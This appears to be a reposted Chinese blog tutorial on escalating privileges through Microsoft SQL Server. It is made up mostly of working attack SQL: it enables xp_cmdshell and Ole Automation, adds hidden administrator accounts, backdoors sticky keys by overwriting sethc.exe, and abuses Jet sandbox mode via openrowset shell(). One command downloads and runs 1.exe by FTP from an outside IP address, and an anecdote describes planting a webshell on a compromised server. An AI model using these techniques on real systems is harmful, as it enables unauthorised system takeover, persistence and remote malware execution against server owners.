MSSQL提权之xp_cmdshell
一、简介
xp_cmdshell 扩展存储过程将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出。
三、SQL Server 2005中的xp_cmdshell
由于存在安全隐患,所以在SQL Server 2005中, xp_cmdshell 默认是关闭的。
此时,如果执行 xp_cmdshell 将会提示服务未开启:
exec xp_cmdshell 'dir c:/'
消息 15281,级别 16,状态 1,过程 xp_cmdshell,第 1 行
SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
0x01 前提
-
getshell或者存在sql注入并且能够执行命令。
-
sql server是system权限,sql server默认就是system权限。
0x02 xp_cmdshell
有了xp_cmdshell的话可以执行系统命令,该组件默认是关闭的,因此需要把它打开。
开启xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure; exec sp_configure 'xp_cmdshell',1;reconfigure;
关闭xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure; exec sp_configure 'xp_cmdshell', 0;reconfigure
0x03 提权
exec master..xp_cmdshell 'net user test pinohd123. /add' 添加用户test,密码test exec master..xp_cmdshell 'net localgroup administrators test add' 添加test用户到管理员组
SP_OACreate提权经验
在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权
首先
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
打开组件,2005中默认关闭
1)直接加用户
2000系统:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 123 123 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 123/add'
xp和2003系统:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123$ 123/add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 123$ /add'
2)粘贴键替换
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
需要同时具备sp_oacreate 和sp_oamethod 两个功能组件
3)直接传马
DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, '%systemroot%\system32\cmd.exe /c echo open 222.180.210.113 > cmd.txt&echo 123>> cmd.txt&echo123>> cmd.txt&echo binary >> cmd.txt&echo get 1.exe >> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&1.exe&1.exe&del cmd.txt. /q /f&del 1.exe /f /q'--
4)启动项写入加账户脚本
declare @sp_passwordxieo int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out
exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'd:\RECYCLER\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","123$")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/123$",user)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123$"';
5)如果该服务器有网站,则直接用方法4)写入一句话
SA权限沙盒模式提权方法
sa下删除xp_cmdshell和xplog70.dll时候的一种办法,不算新的了,也被一些人不断的再次提出来,为了方便自己记忆再写出来,在这种情况下,要执行命令,条件是要有xp_regwrite。
首先开启沙盘模式:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
然后利用jet.oledb执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user cnfjhh fst /add")')
【SQL Server】沙盒提权
实验环境:windowsXP + SQL Server2005
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode';
--执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user qianxun 123456 /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators qianxun /add")')
-- 恢复配置
exec master..xp_regwrite 'HKEY_LOCALMACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
沙盒模式SandBoxMode参数含义(默认是2)
0:在任何所有者中禁止启用安全模式
1 :为仅在允许范围内
2 :必须在access模式下
3:完全开启
openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。
关闭沙盒,并创建用户xiamo,然后将用户xiamo添加到administrators组中:
如图所示,添加成功:
沙盒提权的小tips
今天刚好发现有一个SA权限。服务器管理员将大部份扩展都删除了。最后自己重建sp_makewebtask存储才搞到一个webshell 了。(重建办法,先找台正常主机,sp_helptext 'sp_makewebtask',将他的SQL语句重新拷到目标机器执行一次就行了)。
当然有了webshell,无法满足我们贪婪的欲望。开始测试提权。有serv-u,但是提权失败了。也许大家会说用back log来提权。但是那个太慢了,要重启机器,会影响对方业务,同时又会给对方留下不好的印像。有人也许会说用读取系统账号的注册表,导入导出,克隆账号, 这个办法也可行,但由于并非黑对方主机,还是要保证对方系统的安整性比较好。(也许是心理因素,^_^)
最后只好试试沙盒模式。很多人SA直接用沙盒模式成功了好多机器,但我从来没实践过,也不太清楚成功率如何。只好拿他当回肉鸡尝试了。
由于扩展被删除,先恢复对注册表的读写存储。
dbcc addextendedproc ('xp_regread','xpstar.dll')
dbcc addextendedproc ('xp_regwrite','xpstar.dll')
修复沙盒的保护模式
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0;--
查看'SandBoxMode'值是否已经变成0了。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines', 'SandBoxMode'
最后调用沙盒模式
select * from openrowset('microsoft.jet.oledb.4.0',';database=C:WINDOWSsystem32iasdnary.mdb','select shell("cmd.exe /c net user user passwd /add")')
1.如果沙盒保护模式未“关闭”,会报错:
服务器: 消息 7357,级别 16,状态 2,行 1
未能处理对象 'select shell("cmd.exe /c net user user passwd /add")'。OLE DB 提供程序 'microsoft.jet.oledb.4.0' 指出该对象中没有任何列。
OLE DB 错误跟踪[Non-interface error: OLE DB provider unable to process object, since the object has no columnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user passwd /add")']。
2.如果.mdb不存在或是输入路径错误
服务器: 消息 7399,级别 16,状态 1,行 1
OLE DB 提供程序 'microsoft.jet.oledb.4.0' 报错。
[OLE/DB provider returned message: 找不到文件 'C:WINDOWSsystem32iasdnary1.mdb'。]
OLE DB 错误跟踪[OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned 0x80004005: ]。
3.如果输入过程中多了一些空格,也会报错。尤其要注意这点,很多人直接网上找文章复制粘贴进去执行。
服务器: 消息 7357,级别 16,状态 2,行 1
未能处理对象 'select shell("cmd.exe /c net user user passwd /add")'。OLE DB 提供程序 'microsoft.jet.oledb.4.0' 指出该对象中没有任何列。
OLE DB 错误跟踪[Non-interface error: OLE DB provider unable to process object, since the object has no columnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user passwd /add")']。
4.如果mdb权限和cmd.exe权限不对,同样会也出现问题。
当mdb权限不对时,
服务器: 消息 7320,级别 16,状态 2,行 1
未能对 OLE DB 提供程序 'Microsoft.Jet.OLEDB.4.0' 执行查询。
[OLE/DB provider returned message: 未知]
OLE DB 错误跟踪[OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0' ICommandText::Execute returned 0x80040e14]。
5.如果net权限不对时,却没有任何提示。
最终的提权办法就是在当前的web目录下面上传系统的ias.mdb和cmd.exe,net.exe三个文件。执行
select * from openrowset('microsoft.jet.oledb.4.0',';database=E:webias.mdb','select shell("E:webcmd.exe /c E:webnet.exe user user passwd /add")')
成功增加一个计算机用户。
转载于:https://blog.51cto.com/obnus/474675